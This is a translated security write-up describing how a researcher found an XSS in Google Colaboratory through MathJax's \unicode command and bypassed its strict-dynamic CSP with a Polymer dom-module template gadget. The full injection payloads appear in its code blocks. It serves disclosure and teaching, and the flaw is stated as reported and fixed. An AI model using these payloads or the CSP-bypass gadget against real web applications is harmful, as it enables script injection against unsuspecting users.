Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >我是如何找到 Google Colaboratory 中的一个 xss 漏洞的

我是如何找到 Google Colaboratory 中的一个 xss 漏洞的

作者头像
信安之路
发布于 2018-08-08 02:41:10
发布于 2018-08-08 02:41:10
1.6K00
代码可运行
举报
文章被收录于专栏:信安之路信安之路
运行总次数:0
代码可运行

本文作者:Michał Bentkowski 原文地址:https://blog.bentkowski.info/2018/06/xss-in-google-colaboratory-csp-bypass.html?view=classic 翻译作者:晚风(信安之路作者团队成员)

在本文中,我来讲讲我碰到的一个有趣的 XSS。2018 年 2 月,我在 google 的一个网络应用中发现了这个 XSS。这篇文章我不希望只是直接写出这个 XSS 存在在哪里,我会写出我找到这个 XSS 漏洞的思路,以及我在这个过程中需要克服哪些困难。另外,我还会讲一个用 javascript 小技巧绕过 CSP(内容安全策略)的例子。

什么是 Google Colaboratory

Google Colaboratory 是基于 Jupyter Notebook 的一个应用,主要作为大数据分析记录数据的笔记本。在 Colaboratory 中你可以创建包含文本和代码的文档,文本格式类似 markdown,支持 python2 或 3。代码可以在 Google Cloud 中执行,执行结果可以直接放在文档中。这种处理方式在科学研究中很方便。你可以准备一组数据和以什么方式处理这组数据的代码或者是维恩图。在 Colaboratory 的首页就有这种例子的展示。

像往常一样,我专注于寻找 XSS 漏洞和其他的一些漏洞。

我在之前就提到过了,Colaboratory 的文本使用 markdown 标记语法,markdown 是一种非常适合写笔记的语法,举个例子,你可以输入 **test** 来打印出粗体字,输入*test*打印出斜体字。

有趣的是,许多 markdown 语法解析器允许你直接使用 HTML 标记。Colaratory 也是同样的。例如,当你输入以下代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
This is <strong>bold</strong>

然后你会在网页的 DOM 树中看到同样的代码

并且“bold”这个单词就变成了粗体。

接下来尝试着加一点简单的 XSS 代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Test<imgsrc=1onerror=alert(1)>

然而 DOM 树中显示的是

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Test<imgsrc=1>

这意味着 Colaboratory 使用了 html 过滤器过滤掉了一些危险代码,像onerror事件,我在下面会说他到底用了什么 html 过滤库。

所以我们尝试一些别的方法。一个非常常见的在 markdown 解析器中注入 js 代码的方法是使用 javascript 伪协议的超链接,像这段代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[CLICK](javascript:alert(1))

被解析后就会被变成

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<ahref="javascript:alert(1)">CLICK</a>

然而在 Colaboratory 中,并没有什么效果。当我使用 http/https 以外的协议时,这段 HTML 代码不会包含一个链接。另外我注意到,即使这个URL不包含一个正确的域名,这个链接也还是会被生成。就像我输入:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[CLICK](http://aaa$$$**bbbb)

上面的代码会被解析成

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<ahref="https://aaa$$$**bbbb">CLICK</a>

我们便可以猜测URL的验证是通过简单的正则表达式完成的。因为 markdown 在 Colaboratory 中被解析成 javascript 代码,于是我准备从这个应用中的 js 文件入手,查找到那段用于验证 URL 的正则表达式。很快我就找到了下面的这段代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[...]
       returnqd(b?a: "about:invalid#zClosurez")
  }
    , sd=/^(?:(?:https?|mailto|ftp):|[^:/?#]*(?:[/?#]|$))/i
    , td=function(a) {
[...]

高亮的那一行是验证链接中的 URL 的正则表达式。我仔细看了一下,但找不到任何办法去绕过。虽然我花费一些时间去寻找这个表达式而且绕过不了,但时间并没有被浪费。我在想既然我发现一个地方会去验证链接的正确性,那或许附近的一些地方为会有一些代码去过滤 HTML?

换句话说,我应该能够找到那段在之前移除 onerror 事件的函数。我的直觉并没有让我失望,在附近的几行代码中,我找到了以下的一段代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
varFm=xK("goog.html.sanitizer.SafeDomTreProcessor")

我快速地谷歌了一下,goog.hml.sanitizer.SafeDomTreeProcessor是 Google Closure library 的一部分。它包含了一份标签黑白名单。我花了些时间尝试去绕过 Closure 的过滤器但无济于事。在 HTML 过滤方面 Closure 毕竟是一个很受欢迎的依赖库。因此我不太可能在短时间内找到它的一些安全缺陷。

在这方面,我可以从不同的角度看待 Colaboratory。我在应用文档中注意到之前没有注意到的一件事: Colaboratory 还支持 LaTeX 语法。这可能是突破点。

我回到 Colaboratory 中,写出了以下的代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
\frac12

这在 DOM 树中产生了以下的内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<spanclass="MathJax"id="MathJax-Element-5-Frame"tabindex="0"data-mathml="<math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;><mfrac><mn>1</mn><mn>2</mn></mfrac></math>"role="presentation"style="position: relative;">
<nobraria-hidden="true">[...] </nobr>
<spanclass="MJX_Assistive_MathML"role="presentation">
 <mathxmlns="http://www.w3.org/1998/Math/MathML">
  <mfrac>
   <mn>1</mn>
   <mn>2</mn>
  </mfrac>
 </math>
</span>
</span>

<nobr>标记中还有一大块代码,但这里为了简洁把他们删除了。

这些代码看起来非常有意思。我之前提到过 Colaboratory 使用 Closure 依赖库去清除 HTML 代码的危险元素。Closure 有一个标签的白名单,白名单中不包含这些标签:<math><mfrac><mn>。然而,由于渲染了 LaTeX,这些标签出现在了 HTML 中。此外,在第一行中,在data-mathml属性中,你可以看到完全相同的 HTML,这些 HTML 将在 DOM 树中渲染多行。

现在我感觉我离正确的答案越来越近了。为什么?因为,这个应用的这种行为显示了 Closure 库从不清除由 MathJax(LaTeX 依赖库)生成的 HTML 代码。此时,在 Colaboratory 中寻找 XSS 的问题就演变成了在 MathJax 中寻找 XSS。对于我来说,MathJax 似乎没有因为安全问题而经过仔细审核。

所以我查找 MathJax 的文档去寻找它支持哪些 LaTeX 命令。一开始,我注意到了下面的命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
\href{url}{math}

根据文档的说明,你可以用这条命令在 LaTeX 里创建一个超链接,感觉可以在这里构造 XSS

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
\href{javascript:alert(1)}{1}

不幸的是,事实证明,MathJax 具有安全模式,可以防止这种攻击。

继续看文档,我发现 \unicode 命令可以使所有的 unicode 字符通过代码值的形式表示在 LaTeX 代码中。可以使用十进制和十六进制形式的数字。于是我在 Colaboratory 中尝试了一下,用下面两种方法输入大写字母 A

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
\unicode{x41}\unicode{65}

然后在 DOM 树中出现了以下的内容:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<spanclass="MathJax"id="MathJax-Element-6-Frame"tabindex="0"data-mathml="<math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;><mtext>&#x41;</mtext><mtext>&#65;</mtext></math>"role="presentation"style="position: relative;">
<spanclass="MJX_Assistive_MathML"role="presentation">
 <mathxmlns="http://www.w3.org/1998/Math/MathML">
  <mtext>A</mtext>
  <mtext>A</mtext>
 </math>
</span>
</span>

其中,data-mathml 属性中包含了<mtext>标签,HTML 实体与我输入的格式完全相同,就像&#x41;&#65;。因此,MathJax 可能根本不验证 \unicode 命令的参数,只是将其直接放入 HTML 中。我们再试一下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
\unicode{<imgsrc=1onerror=alert(1)>}

于是 DOM 树中出现了:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<spanclass="MathJax"id="MathJax-Element-7-Frame"tabindex="0"data-mathml="<math xmlns=&quot;http://www.w3.org/1998/Math/MathML&quot;><mtext>&amp;#<img src=1 onerror=alert(1)>;</mtext></math>"role="presentation"style="position: relative;">
<spanclass="MJX_Assistive_MathML"role="presentation">
 <mathxmlns="http://www.w3.org/1998/Math/MathML">
  <mtext>&amp;#
   <imgsrc="1"onerror="alert(1)">
  ;</mtext>
 </math>
</span>
</span>

很棒!img 标签没有被过滤,出现在了 DOM 树中,现在我们的问题在于...页面中并没有出现 alert 这个框。

我想了一会没想出来为什么页面没有 alert 出来,但是当我看到控制台的时候,一切都明白了。

因为 Colaboratory 被 CSP 保护了。CSP 生效从而防御住了 XSS。但不管怎么样我决定向 Google 提交这个 bug,因为 CSP 没有改变 XSS(MathJax bug)存在的这个事实。

我发送了一个报告给 Google 并决定睡觉去了。明天早上起来再想办法绕过 CSP。

CSP绕过

其实昨晚我并没有睡好。虽然我昨天提交了一个 XSS bug,但它不能正常弹出 alert 的框,我有点不甘心。今天继续努力。

Colaboratory 中使用的 CSP 策略包含了两个最重要的指令:'nonce-...' 和 'strict-dynamic'。通常,'nonce-...' 会使 script 标签只有在这个 script 标签包含一个 nonce 属性的值和 'nonce-...' 指令的值相同的时候,这个 script 脚本才会被执行。'strict-dynamic' 允许将信任关系传递给动态生成的脚本,也就是说,“strict-dynamic”允许 js 动态添加的脚本执行,而忽略 script-src 的白名单。并且,其他的 script-src 白名单会被忽略,浏览器不会执行静态或解析器插入的脚本,除非它伴随有效的 nonce 值。 当你有一个可信的脚本(假设他有正确的 nonce 值),并且它在 DOM 树中添加了一个新的<script>脚本,那么这个新的脚本是可信的。因为它是被一个已存在的可信脚本添加的。

去年,Sebastian Lekies, Krzysztof Kotowicz 和 Eduardo Vela Nava 在各种安全会议上发表了题为“Breaking XSS mitigations via Script Gadgets"

https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf

的精彩演讲。演讲中提到了在各种受欢迎的 JS 框架中绕过针对 XSS 的各种缓解措施,这其中就包括了 CSP。在演讲中你还可以找到一张幻灯片,其中显示了你可以绕过以下框架的哪种安全措施。事实表明,Polymer(Colaboratory 使用的框架)可以绕过任何类型的 CSP。

Polymer 是什么?这是一个 JS 库,可以用它来自定义你自己的 HTML 元素,并在代码中直接使用。打个比方,你可以按“SHARE”按钮,然后新的元素<colab-dialog-impl>将会出现在 DOM 树中。我的想法是尝试替换该元素的默认模板,所以我写了下面的代码:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ \unicode{</math><dom-moduleid=colab-dialog-impl>
<template>
SOME RANDOM TEXT
</template>
</dom-module>} $

结果你可以看下面的演示动画。

这很棒!在点击了“SHARE”后,你可以清楚地看到我写的“SOME RANDOM TEXT”文字出现,取代了之前的窗口。

现在让我们来换上注入的脚本:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ \unicode{</math><dom-moduleid=colab-dialog-impl>
<template>
 <script>alert(1)</script>
</template>
</dom-module>
<colab-dialog-impl>} $

我们再次停下来理解一下为什么它能生效。<script>标签事实上位于<template>元素中。接下来,每当“SHARE”按钮被按下时,脚本将会被 Polymer 插入进 DOM 树中。因为 Polymer 是可信的脚本,所以新生成的脚本也是可信的。这就利用了 CSP 的‘strict-dynamic’指令绕过了限制。

经过了这漫长的探索,这个 XSS 终于能正常弹框了。

总结

最后总结一下,首先我展示了我是如何在 Colaboratory 中识别 XSS,然后通过在 MathJax 依赖库中寻找到了安全问题从而在 DOM 树中注入了我们的恶意代码。最后,我使用了一个被称为 JS 小技巧来绕过 CSP(内容安全策略)。

目前,MathJax 中的安全问题已经得到了修复。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-08-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安之路 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Google Calaboratory 的另一个 XSS 漏洞
三个月以前,我写了一篇文章来介绍我在 Google Colaboratory 上发现的一个 XSS 漏洞,这篇文章是对前文的一些扩展,并且展示了我在同一个 web 应用中发现的另一个 XSS。所以我建议先看看上一篇文章再阅读本文。
信安之路
2018/12/05
1.3K0
2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析POC以及 如何防御和修复[含C++;javascript;html源码详解](4)———— 作者:LJS
还是先分析代码。明显可以看出,过滤了`, ', ",+,-,!,\,[,]并且过滤了弹窗函数alert,这样的一个正则,如果去绕过它呢
盛透侧视攻城狮
2024/10/22
1110
2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析POC以及 如何防御和修复[含C++;javascript;html源码详解](4)———— 作者:LJS
前端防御从入门到弃坑--CSP变迁
原文是我在内部showcase的时候修改而来的,总结了一些这一年接触CSP的很多感想…
LoRexxar
2023/02/21
6910
前端防御从入门到弃坑--CSP变迁
2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析EXP以及 如何防御和修复(1)———— 作者:LJS
我们先分析代码,正则表达式过滤了什么,()`\并且是全局过滤,这样一来,不能使用()就对弹窗很不利,那么我首先想到的办法就是编码,利用编码绕过
盛透侧视攻城狮
2024/10/21
2480
2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析EXP以及 如何防御和修复(1)———— 作者:LJS
2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析POC;EXP以及 如何防御和修复[含C++;javascript;html和php源码详解](6)———— 作者:LJS
里面没有HTML编码内容,不考虑,其中href内部是URL,于是直接丢给URL模块处理,但是协议无法识别(即被编码的javascript:),解码失败,不会被执行
盛透侧视攻城狮
2024/10/22
1680
2024全网最全面及最新且最为详细的网络安全技巧 七之 XSS漏洞典例分析POC;EXP以及 如何防御和修复[含C++;javascript;html和php源码详解](6)———— 作者:LJS
【网络安全】「靶场练习」(二)跨站脚本攻击 XSS
本篇博文是《从0到1学习安全测试》中**靶场练习**系列的第**二**篇博文,主要内容是**了解跨站脚本攻击以及通过靶场进行实战练习加深印象**,往期系列文章请访问博主的 安全测试 专栏;
sidiot
2024/10/12
4631
Firefox内容安全策略中的“Strict-Dynamic”限制
在本文中,我们将重点分析如何绕过Firefox内容安全策略中的“Strict-Dynamic”限制。该漏洞详情请参考: https://www.mozilla.org/en-US/security/advisories/mfsa2018-11/#CVE-2018-5175 。该漏洞将绕过内容安全策略(CSP)的保护机制,而在该机制中包含一个“严格动态限制”的Script-src策略。如果目标网站中存在HTTP注入漏洞,攻击者可以将一个引用注入到require.js库的一个副本中,这个库位于Firefox开发人员工具之中,攻击者随后便可以使用已知技术,利用该库绕过CSP限制,从而执行注入脚本。
西门呀在吹雪
2022/09/05
2.2K0
Firefox内容安全策略中的“Strict-Dynamic”限制
干货 | 学习XSS从入门到熟悉
XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据攻击代码的工作方式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。
HACK学习
2021/06/24
4.7K0
干货 | 学习XSS从入门到熟悉
绕过内容安全策略总结
今年的 0CTF 预选赛 6 道 web 题,其中三道都涉及 CSP 的知识点,简直可怕。。。这次趁着空闲时间就稍稍总结一下 CSP 绕过方面的知识,无论是对以后 CTF 比赛还是工作都很有帮助。
信安之路
2018/08/08
2.1K0
绕过内容安全策略总结
白帽赏金平台XSS漏洞模糊测试有效载荷最佳集合 2020版
该备忘清单可用于漏洞猎人,安全分析,渗透测试人员,根据应用的实际情况,测试不同的payload,并观察响应内容,查找web应用的跨站点脚本漏洞,共计100+条xss漏洞测试小技巧。
瓦都剋
2020/12/17
9.7K0
jQuery最新xss漏洞分析——CVE-2020-11022/11023
jQuery官方上周发布了最新版本3.5.0,主要修复了两个安全问题,官方博客为:
Jayway
2020/06/03
34.2K0
浅谈 React 中的 XSS 攻击
前端一般会面临 XSS 这样的安全风险,但随着 React 等现代前端框架的流行,使我们在平时开发时不用太关注安全问题。以 React 为例,React 从设计层面上就具备了很好的防御 XSS 的能力。本文将以源码角度,看看 React 做了哪些事情来实现这种安全性的。
政采云前端团队
2020/09/24
2.7K0
一文了解XSS漏洞和常见payload
刷完了XSS challenge和XSS game 对XSS漏洞有了些许认识 在此做个小结与记录
红客突击队
2022/09/30
4K0
一文了解XSS漏洞和常见payload
前端防御从入门到弃坑——CSP变迁
对于一个基本的XSS漏洞页面,它发生的原因往往是从用户输入的数据到输出没有有效的过滤,就比如下面的这个范例代码。
Seebug漏洞平台
2018/03/09
1.5K0
前端防御从入门到弃坑——CSP变迁
TCTF/0CTF2018 XSS bl0g Writeup
刚刚过去的TCTF/0CTF2018一如既往的给了我们惊喜,其中最大的惊喜莫过于多道xss中Bypass CSP的题目,其中有很多多应用于现代网站的防御思路,其中的很多利用思路非常精巧,值得研究,所以这里我把xss题目单独出来博文,因为它们值得更多关注!
LoRexxar
2023/02/21
2880
TCTF/0CTF2018 XSS bl0g Writeup
TCTF/0CTF2018 XSS Writeup
刚刚4月过去的TCTF/0CTF2018一如既往的给了我们惊喜,其中最大的惊喜莫过于多道xss中Bypass CSP的题目,其中有很多应用于现代网站的防御思路。 其中bl0g提及了通过变量覆盖来调用已有代码动态插入Script标签绕过 strict-dynamic CSP的利用方式。 h4xors.club2则是通过Script Gadgets和postmessage中间人来实现利用。 h4x0rs.space提及了Appcache以及Service worker配合jsonp接口实现的利用思路。 其中的很多利用思路非常精巧,值得研究。所以我花费了大量时间复现其中题目的思路以及环境,希望能给读者带来更多东西...
Seebug漏洞平台
2018/07/26
1.1K0
TCTF/0CTF2018 XSS Writeup
如何进行渗透测试XSS跨站攻击检测
国庆假期结束,这一节准备XSS跨站攻击渗透测试中的利用点,上一节讲了SQL注入攻击的详细流程,很多朋友想要咨询具体在跨站攻击上是如何实现和利用的,那么我们Sinesafe渗透测试工程师为大家详细的讲讲这个XSS是如何实现以及原理。
技术分享达人
2019/10/08
2.7K0
如何进行渗透测试XSS跨站攻击检测
XSS绕过技巧
目前,基本上所有的网站都会防止XSS攻击,会过滤XSS恶意代码。所以学会一定的绕过技巧必不可少。
cultureSun
2023/05/18
9120
Pikachu漏洞靶场系列之XSS
跨站脚本攻击(Cross-Site Scripting)简称为“CSS”,为避免与前端叠成样式表的缩写”CSS”冲突,故又称XSS。一般XSS可以分为如下几种常见类型:
FB客服
2020/02/20
2.7K0
Pikachu漏洞靶场系列之XSS
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞
F12找到输入框,发现我们输入的上限只有20个字符,删除或修改为100即可:
李鹏华
2024/03/12
7920
[PiKaChu靶场通关]Cross-Site Scripting XSS漏洞
推荐阅读
相关推荐
Google Calaboratory 的另一个 XSS 漏洞
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档